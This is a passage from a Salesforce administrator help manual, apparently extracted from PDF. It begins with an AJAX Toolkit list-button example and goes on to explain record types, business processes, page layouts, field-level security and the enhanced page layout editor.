("/soap/ajax/13.0/connection.js")}
var records = {!GETRECORDIDS($ObjectType.Sample)};
var newRecords = [];
if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result = sforce.connection.update(newRecords);
window.location.reload();
}

Note: This example references the AJAX Toolkit, which is available if API access is enabled for your
organization. For more information about the AJAX Toolkit, see https://wiki.developerforce.com/index.php/API.

2. Add the custom list button to your opportunity page layouts by editing the Cases related list.
Tip: Use this list button on any page layout that contains the cases related list, such as account or contact page
layouts.

Note: Notice the check for records[0] == null, which displays a message to users when they do not select at
least one record in the list.

1267

Record Types

Managing Record Types

RECORD TYPES
Managing Record Types
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types:

Customize Application

Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their
profiles. Record types can be used in various ways, for example:

Create record types for opportunities to differentiate your regular sales deals from your professional services engagements
and offer different picklist values for each.
Create record types for cases to display different page layouts for your customer support cases versus your billing cases.

Record Type Considerations


Keep the following considerations in mind when creating or changing a record type:

The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:

Opportunity Stage
Case Status
Solution Status
Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
Person accounts are account records to which a special kind of record type has been assigned. These record types are called
person account record types. Person account record types allow contact fields to be available on the account and allow the
account to be used in many situations as if it were a contact. A default person account record type named Person Account
is automatically created when person accounts are enabled for your organization. You can change the name of this record
type, and you can create additional person account record types.
You cannot delete all the record types for an object if the object is referenced in Apex.
You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand
Email-to-Case.
To create record types for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Members
> Record Types.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.

1268

Customize

Creating Record Types

The following campaign member picklists are not available for record types:
Status
Salutation
Lead Source

Salesforce recommends creating no more than 200 record types. While there is no limit, organizations may have difficulty
managing their record types if they exceed 200.

See Also:
Viewing and Editing Record Types
Setting Record Type Preferences
Creating Record Types
Assigning Page Layouts
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Assigning Record Types to Profiles in the Original Profile User Interface
Administrator tip sheet: Tips & Hints for Record Types

Creating Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types:

Customize Application

To create record types on a standard object:


1. Click Your Name > Setup > Customize, then select an object.
To create person account record types, click Your Name > Setup > Customize > Accounts > Person Accounts.
To create campaign member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members.
2. Click Record Types.
3. Click New.
4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an
existing record type to clone its picklist values.
5. Enter a Record Type Label that's unique within the object.
6. Enter a Record Type Name. This name can contain only underscores and alphanumeric characters, and must be unique
in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores. The Record Type Name refers to the component when using the Web services API and prevents
naming conflicts on package installation in managed packages.
7. For opportunity, case, lead, and solution record types, select a business process to associate with the record type.
8. Enter a description.
9. Select Active to activate the record type.

1269

Customize

Editing Picklists for Record Types and Business Processes

10. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the
checkbox in the header row to enable it for all profiles.
11. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox
in the header row to make it the default for all profiles.
12. Click Next.
13. Choose a page layout option to determine what page layout displays for records with this record type:

To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.

14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.

See Also:
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Assigning Record Types to Profiles in the Original Profile User Interface
What is a Person Account?

Editing Picklists for Record Types and Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types:

Customize Application

To create or change business processes:

Customize Application

To customize the values in record type and/or business process picklists:


1. Select a record type and click Edit next to one of the picklist fields to customize the values included for the record type.
Or, select a business process to customize the values included in that business process.
2. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when creating and editing records.
3. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent field is
ignored.
4. Click Save.
Tips for Editing Picklists and Record Types

The master picklist, the complete list of values in a picklist, is independent of all record types and business processes. If
you add a picklist value to the master picklist, you must manually include the new value in the appropriate record types. If

1270

Customize

Viewing and Editing Record Types

you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to
that value are unchanged.
Renaming a record type does not change the list of values included in it.
The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:

Opportunity Stage
Case Status
Solution Status
Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
The following campaign member picklists are not available for record types:
Status
Salutation
Lead Source

After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record
detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing
campaigns for both US and European divisions can have both US and European campaign record types available when
creating new campaigns.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.

See Also:
About Custom Fields
Setting Record Type Preferences
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Assigning Record Types to Profiles in the Original Profile User Interface

Viewing and Editing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view record type setup pages:

View Setup and Configuration

To create or change record types:

Customize Application

To view a list of record types, click Your Name > Setup > Customize, select an object, and click Record Types. For campaign
member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members > Record Types.

1271

Customize

Managing Multiple Business Processes

Click New to create a new record type.


Click Edit to change the name of a record type or deactivate it by deselecting the Active checkbox. Deactivating a record
type does not remove it from any user profiles.
Note: When creating and editing record types for accounts, opportunities, cases, contacts, or custom objects, check
for criteria-based sharing rules that use existing record types as criteria. A record type change may affect the number
of records that the rule shares. For example, let's say you have a record type named Service, and you created a
criteria-based sharing rule that shares all Service record types with your service team. If you create another record
type named Support and you want these records shared with your service team, you must update the sharing rule
to include Support record types in the criteria.

Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type
field blank on records associated with the deleted record type, select None.
Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and
campaign member records.

Click the name of the record type to edit the picklists associated with it.
Click Page Layout Assignment to set which page layouts users can see based on profiles and record types.
Note: You cannot edit or delete a record type for an object if the object is referenced in Apex. For more information,
see Apex Code Overview on page 1994.

See Also:
Assigning Page Layouts
About Field Accessibility
Criteria-Based Sharing Rules Overview

Managing Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change business processes:

Customize Application

Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes
allow you to track separate sales, support, and lead lifecycles.
Sales Processes
Create different sales processes that include some or all of the picklist values available for the opportunity Stage field.
Lead Processes
Create different lead processes that include some or all of the picklist values available for the Lead Status field.

1272

Customize

Managing Multiple Business Processes

Support Processes
Create different support processes that include some or all of the picklist values available for the case Status field.
Solution Processes
Create different solution processes that include some or all of the picklist values available for the Status field.
After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the
user profiles that are associated with the business process.
To view a list of business processes, click Your Name > Setup > Customize, select the appropriate tab link (Opportunity,
Case, Lead, or Solution), and click the Processes link.
Click New to create a new business process.
Click Edit to change the name or inactivate the business process.
Click Del to delete an unused business process.
Click the name of the business process to edit the picklist values associated with it.

See Also:
Administrator tip sheet: Tips & Hints for Multiple Business Processes

Creating Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change business processes:

Customize Application

Follow these steps to create sales processes, support processes, lead processes, and solution processes.
1.
2.
3.
4.

Select Your Name > Setup > Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution.
Click the Processes link.
Click New.
Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist
values.
5. Enter a name and description for the new process. The name must be unique within the tab.
6. Click Save.
All of the available values in the picklist are displayed. Choose the values that you would like included in the new business
process.
7. See Editing Picklists for Record Types and Business Processes for instructions on building the list of values for this business
process.

1273

Customize

Overview of Page Layouts and Field-Level Security

Next, add the new business process to a record type (see Managing Record Types) and then make the record type available to
users based on profile (see Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on
page 535 or Assigning Record Types to Profiles in the Original Profile User Interface on page 545).

Overview of Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions
Field-level security available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout
and organization of detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. Customize
search layouts to change which fields display in search results and the buttons that display on list views.
Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be
able to access those fields by other means, including reports, search results, list views, and the API. Use field-level
security to restrict all means of accessing a field. Field-level security doesn't prevent searching on the values in a field.
To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden
by field-level security, contact salesforce.com Customer Support.

Field-Level Security

Restrict users access to view and edit fields by any means, including reports, search results, list views, related lists, email
and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal
data.
Override any less-restrictive field access settings in page layouts and mini page layouts.
For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security
overrides the page layout and the field will be read only for the user.

Override less-restrictive field settings in search layouts.


For example, if a field is visible in the search layout but hidden for certain users via the field-level security settings, the
field-level security overrides the search layout and the field will be hidden for those users.

Page Layouts

Control the layout and organization of detail and edit pages.


Control which fields, related lists, and custom links users see, on detail and edit pages only.
Control which standard and custom buttons display on detail pages and related lists.
Determine whether fields are visible, read only, or required, on detail and edit pages only.
In Personal, Contact Manager, Group, and Professional Editions, control which fields users can access in related lists, list
views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data or importing
personal data.
In Professional, Enterprise, Unlimited, and Developer Editions, determine some aspects of mini page layouts, including
record type and profile associations, related lists, fields, and field access settings. The visible fields and related lists of the
mini page layout can be further customized, but the other items inherited from the associated page layout cannot be changed
on the mini page layout itself. Mini page layouts display selected fields and related lists of records in the mini view of the
console. See Console Tab Overview on page 3301 for more information.

1274

Customize

Overview of Page Layouts and Field-Level Security

Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of
field-level security, make it a universally required field.

See Also:
Managing Page Layouts
Field-Level Security Overview

Setting Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions
Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and
edit pages within tabs. This reduces the number of page layouts for you to maintain.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support.
For Personal, Contact Manager, Group, and Professional Editions
1.
2.
3.
4.
5.
6.

Create custom fields.


Create any custom buttons or links.
Create any custom s-controls.
Define page layouts. All users automatically use the same page layout for each tab.
Set the related objects and the mini page layouts that display in the console.
Define search layouts. All users use the same search layouts.

For Enterprise, Unlimited, and Developer Editions


1.
2.
3.
4.
5.
6.

Create custom fields.


Create any custom buttons or links.
Create any custom s-controls.
Create any custom profiles.
Create record types for different business scenarios.
Assign which record types are available to users with different profiles (see Specifying Record Types and Page Layout
Assignments in the Enhanced Profile User Interface on page 535 or Assigning Record Types to Profiles in the Original
Profile User Interface on page 545).
7. Set the field-level security for each profile to restrict users access to specific fields.
8. Define page layouts to organize your pages.
9. Set the related objects and the mini page layouts that display in the console.
10. Assign page layouts to users based on profiles and record types.
11. Check the field accessibility grid to verify that all field access settings are correct.

1275

Customize

Overview of Page Layouts and Field-Level Security

12. Define search layouts. All users use the same search layouts.

See Also:
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Managing Page Layouts


Available in: All Editions

User Permissions Needed


To create, edit, and delete page layouts:

Customize Application

You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce Customer Portal
pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce,
custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can
include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the
size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display.
To work with page layouts, go to Your Name > Setup > Customize, click the appropriate kind of record, and select Page
Layouts. You can:

Click New to create layouts; see Creating Page Layouts on page 1277.
Click Edit to modify layouts or customize related lists; see Customizing Page Layouts on page 1278.
Click Del to delete layouts; see Deleting Page Layouts on page 1295.
Click Page Layout Assignment to assign page layouts to profiles and record types; see Assigning Page Layouts on page
1295.

For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise,
Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types
and set field-level security settings to further restrict users access to specific fields. See Assigning Page Layouts on page 1295
and Field-Level Security Overview on page 663 for more information.
In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that
appear in the Console tab. See Choosing Related Objects for the Console's Mini View on page 3304 and Defining Mini Page
Layouts on page 3305 for more information.
Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize
detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level
security settings override the visible and read-only settings on the page layout if the field-level security has a more
restrictive setting than the page layout.

1276

Customize

Overview of Page Layouts and Field-Level Security

Note: A background process periodically runs that cleans up metadata associated with deleted custom fields. This
process will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and
custom objects.

See Also:
Overview of Page Layouts and Field-Level Security
Editing Mobile Object Properties
About Field Accessibility
Customizing Home Tab Page Layouts
Setting Up Self-Service
Setting Up the Console Tab
Setting Up Your Customer Portal
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Creating Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create page layouts:

Customize Application

To create a new page layout:


1. Click Your Name > Setup > Customize, select an object or record type, and click Page Layouts.
For opportunities, click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts
to create or edit the additional page layouts for products on opportunities.
For person accounts, click Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts to create
or edit the additional page layouts for person accounts.
For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Page Layouts.
2. Click New.
Tip: To create a new page layout by cloning an existing one:

In the enhanced page layout editor, click Edit next to a layout, and then click Save As on the layout
page.
In the original page layout editor, select a layout, and then click Clone on the layout page.

If you clone a page layout using this method, skip the following step.
3. Optionally, choose an existing page layout to clone.
4. Type a name for the new layout.
5. Click Save.

1277

Customize

Overview of Page Layouts and Field-Level Security

See Customizing Page Layouts for instructions on modifying layouts. For information on defining mini page layouts for the
Console tab, see Setting Up the Console Tab on page 3302.

See Also:
Managing Page Layouts
Customizing Related Lists
Overview of Page Layouts and Field-Level Security

Customizing Page Layouts


Available in: All Editions

User Permissions Needed


To customize page layouts:

Customize Application

To view page layouts (enhanced page layout editor only):

View Setup

Salesforce has two drag-and-drop tools for editing page layouts: the original page layout editor and a new enhanced page
layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor,
as well as additional functionality and an easier-to-use WYSIWYG interface.
If you want to use the original page layout editor, you can enable it for your organization in the User Interface settings. Your
organization can use only one of the page layout editors at a time.
Accessing the Enhanced Page Layout Editor
To access page layouts for standard objects:
1. Select Your Name > Setup > Customize.
2. Choose the object.
3. Complete one of the following:

In Enterprise, Unlimited, and Developer Edition organizations, choose the Page Layouts link, and click Edit next to
the page layout you want to customize.
Note: If you have the View Setup permission only, the Edit button is not available. Instead, click the name
of the page layout to view it.

In all other editions, choose the Page Layout link.

To access page layouts for custom objects:


1.
2.
3.
4.

Select Your Name > Setup > Create > Objects.


Choose the object.
Scroll to the Page Layouts section.
Click Edit next to the page layout you want to customize.

1278

Customize

Overview of Page Layouts and Field-Level Security

Note: If you have the View Setup permission only, the Edit button is not available. Instead, click the name of
the page layout to view it.

Alternatively, when youre on a detail page, click the Edit Layout link in the upper-right corner to customize the page layout.
Salesforce displays the Edit Layout link only to users with the Customize Application permission.
For more information on the enhanced page layout editor, see Customizing Page Layouts with the Enhanced Page Layout
Editor on page 1280.
Accessing the Original Page Layout Editor
To access page layouts for standard objects:
1. Select Your Name > Setup > Customize.
2. Choose the object.
3. Complete one of the following:

In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

To access page layouts for custom objects:


1.
2.
3.
4.

Select Your Name > Setup > Create > Objects.


Choose the object.
Scroll to the Page Layouts section.
Complete one of the following:

In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

For more information on the original page layout editor, see Customizing Page Layouts with the Original Page Layout Editor
on page 1288.

See Also:
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

1279

Customize

Overview of Page Layouts and Field-Level Security

Customizing Page Layouts with the Enhanced Page Layout Editor


Available in: All Editions

User Permissions Needed


To customize page layouts:

Customize Application

To view page layouts:

View Setup

The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organizations page
layouts for detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. The enhanced page
layout editor is enabled by default and provides all of the functionality of the original page layout editor, as well as additional
functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts on page 1278.
The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the
lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and
any additional elements that are available for you to add to the page layout.
When working with enhanced page layout editor:

To add a user interface element to the page layout, select the category to which the element belongs on the left column of
the palette, and drag the element from the palette to the page layout.
To remove a user interface element from the page layout, drag the element from the page layout to the right side of the
palette, or click the icon next to the element.
Use the undo and redo buttons to step backwards and forwards, respectively.
Use the following keyboard shortcuts:
Undo = CTRL+Z
Redo = CTRL+Y
Quick Save = CTRL+S

To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click.
To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next
to it. You cannot change the properties of elements in the palette.
To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required
checkboxes.
To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette
to collapse it.
To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page
layout name at the top of the page and select another layout to view.
To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes
on the page layout, click Layout Properties.
Note: You can't rename a page layout if you're using Salesforce.com Professional Edition.

1280

Customize

Overview of Page Layouts and Field-Level Security

To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages will look for users with different profiles. Note that most related lists columns preview
without data.
To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts
that have large numbers of items available in the palette.
To save your changes and continue editing the page layout, click Quick Save.
To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page
layout before clicking save, your changes will be lost.
To create a copy of your page layout, click Save and select Save As.
To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional,
Enterprise, Unlimited, and Developer Edition organizations only.)
Note: You cannot choose Mini Console View for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.

To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The
mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise,
Unlimited, and Developer Edition organizations only.)
Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.

See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Assigning Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

1281

Customize

Overview of Page Layouts and Field-Level Security

Enhanced Page Layout Editor User Interface Elements


Available in: All Editions

User Permissions Needed


To customize page layouts:

Customize Application

To view page layouts:

View Setup

The following list describes the enhanced page layout editor user interface elements and how you can use them in your page
layout.
Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing
your page layout.
Blank Spaces
You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish
elements on the page.
To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page
layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom
Links, Custom S-Controls, or Visualforce Pages category on the palette.
Note: If you use the original page layout editor to view a page layout that was created in the enhanced page
layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add
blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the
right.
Buttons
The top of the page layout has a place for standard buttons and another for custom buttons. You can control which
standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot
rearrange the order in which the standard buttons appear.
To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more
buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons
area, and custom buttons must go in the custom buttons area.
To remove a standard or custom button from the page layout, drag the button to the palette.
For information on buttons in related lists, see Related Lists.
Custom Links
To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom
links from the palette to the Custom Links section on the page layout.
To remove a custom link from the page layout, drag the custom link to the palette.

1282

Customize

Overview of Page Layouts and Field-Level Security

Fields
To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette
to any section on the page layout, except for sections reserved for custom buttons or links and related lists.
A field might display one or more of the following icons:

The field must have a value to save the record but is not required on the page layout itself.
The field must be included on the page layout because either an administrator configured the field as universally
required or Salesforce automatically requires the field. Although you cannot remove such fields, you can move them
to different locations.
The field is a controlling field.
The field is a dependent field.
The field is read only.

To set which fields are required and read only, select one or more fields and click the wrench icon (
selected fields.

) on any of the

The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission.
If you make a picklist field read only, all new records will contain the default value for that picklist.
Auto-number fields are always read only.
If you mark the opportunity Probability field as read only, the Probability value will still be updated
automatically when a user changes the Stage value of an opportunity.

When working with fields, note the following:

In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access
in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when
synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
Field-level security settings override any field properties you set on the page layout if the field-level security is more
restrictive than the page layout setting. See Field-Level Security Overview on page 663.
In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into
any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can
import only into the fields that are accessible to them via their page layout or field-level security settings.
For information on setting which fields display for users in search results, see Customizing Search Layouts on page
1303.

Related Lists
To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists
from the palette to the desired location on the page layout. A page layout can have up to 100 related lists.
You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle
located above the related list.
To customize a related list, double-click the related list handle or click the wrench icon (
related list properties to:

) inside the handle. Use the

Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the
records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column
information to other page layouts for the same type of object.

1283

Customize

Overview of Page Layouts and Field-Level Security

Specify which standard and custom buttons appear on the related list.

When working with related lists on page layouts, note the following:

Some related lists are not customizable because they link to data rather than store it. Salesforce denotes related lists
that are not customizable on the page layout.
You cannot add related lists to the page layouts for the User object.
You can also enable related list hover links for your organization so that record detail pages include links for each
related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding
related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also
click a related list hover link to jump down to the content of the related list without having to scroll down the page.
To enable related list hover links, see Customizing User Interface Settings on page 1601.
In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists
display for their personal use. Administrators can overwrite these user customizations and apply the related list
configuration in the page layout to all users, even if they already customized their display. To overwrite users' related
list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which
appears when saving a page layout if you moved or added a related list.

Custom S-Controls
To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more
s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links
and related lists. A page layout can have up to 20 s-controls.
To change the properties of an s-control, double-click the s-control or click its wrench icon (
attributes:

) and set the following

Width sets the horizontal size in pixels or a percent.


Height sets the vertical size in pixels.
Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to

display the s-control in a wider area.


Sections
You can add and move sections anywhere above the related lists on the page layout. The sections you add can contain
fields, s-controls, and blank spaces. In addition, each page layout has a default section that can only contain custom links
and blank spaces. You can change the location of the custom link section, but you cannot remove it from the page.
To add a section, drag the Section user interface element from the palette to the desired location on the page layout.
The Section user interface element is the second option in the palette when you select the Fields or Custom S-Controls
category on the palette.
To change the attributes of a section, double-click the section or select its associated wrench icon (

). You can:

Enter a name for the section. Note that names of some standard page sections cannot be changed.
Specify whether the section should have one or two columns.
Specify the order in which users will be able to tab through the items in that section.
Specify whether the section heading should be shown on the detail and edit pages.

1284

Customize

Overview of Page Layouts and Field-Level Security

Tags
If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal
and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal
nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot
be modified.
Visualforce Pages
To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more
Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and
related lists. A page layout can have up to 20 Visualforce pages.
You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object
for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to
that object, the Visualforce Pages category does not appear in the palette.

See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Page Layouts with the Enhanced Page Layout Editor

Notes on Using the Enhanced Page Layout Editor


Available in: All Editions

User Permissions Needed


To customize page layouts:

Customize Application

To view page layouts:

View Setup

When using the enhanced page layout editor, note the following:

You can't rename a page layout if you're using Salesforce.com Professional Edition.
Some elements can only be moved to certain locations on the page layout.
Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element
on the palette, Salesforce highlights the element on the page layout.
When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce jumps to the
part of the page layout where you can add those elements.
The following table describes which browsers support the enhanced page layout editor:
Browser

Notes

Mozilla Firefox, most recent stable version

Users with the View Setup and Configuration permission


can view but not edit page layouts using Firefox version 2.

Microsoft Internet Explorer versions 7, 8, and 9

Internet Explorer 6 does not perform well with advanced


Web interfaces such as the enhanced page layout editor, and

1285

Customize

Overview of Page Layouts and Field-Level Security

Browser

Notes
is no longer supported as of Summer 12. If you use Internet
Explorer, Salesforce recommends using the latest version.
Apply all Microsoft hotfixes.
Important: Using Internet Explorer with the
Internet Explorer Developer Toolbar impacts the
performance of the enhanced page layout editor.
Disable the toolbar before using the enhanced page
layout editor.
1. In Internet Explorer, navigate to Tools >
Internet Options... > Programs.
2. Click Manage Add-ons....
3. Select IE Developer Toolbar and IE
Developer Toolbar BHO, and choose the
Disable option.
4. Close all Internet Explorer windows and restart
the browser.

Apple Safari version 5.1.x

If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page
layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available
on the enhanced editor. Salesforce displays a read-only version of the enhanced page layout editor to users with the View
Setup permission.
Note: The read-only view of the page layout does not display field types and lengths in hover details.

Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those
standard object checkboxes. To configure how Salesforce displays the checkboxes, click Layout Properties when customizing
the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce to automatically
select the option when a user accesses the edit page.
Object

Checkboxes

Account

Evaluate this account against territory


rules on save checkbox Displays the Evaluate
this account against territory rules on save

checkbox on account edit pages.


Territory assignment rules run automatically when the
Select by default checkbox is selected.
If both Show on edit page and Select by default
are selected, users can uncheck Evaluate this account
against territory rules on save checkbox on the

1286

Customize

Overview of Page Layouts and Field-Level Security

account edit page, and territory assignment rules will not be


run.
Case

Case assignment checkbox Displays the


Assign using active assignment rules

checkbox on case edit pages.


Email notification checkbox Displays the
Send notification email to contact checkbox
on case edit pages.
Case Close

Solution information section Displays the


solution information section on the case close edit pages.
Notify Contact Displays the Notify Contact
checkbox on case close edit pages.

Lead

Lead assignment checkbox Displays the Assign


using active assignment rule checkbox appears on

the lead edit page.


Person Account

Evaluate this account against territory


rules on save checkbox Displays the Evaluate
this account against territory rules on save

checkbox on person account edit pages.


Territory assignment rules run automatically when the
Select by default checkbox is selected.
If both Show on edit page and Select by default
are selected, users can uncheck Evaluate this account
against territory rules on save checkbox on the
account edit page, and territory assignment rules will not be
run.
Task

Email notification checkbox Displays the Send


Notification Email checkbox appears on the task edit

page.
Note: A users personal preference for defaulting
the state of the checkbox takes precedence over the
organization-wide setting. For more information,
see Creating Tasks on page 164.

The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined
those types of elements for the object for which you are defining a page layout.
Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
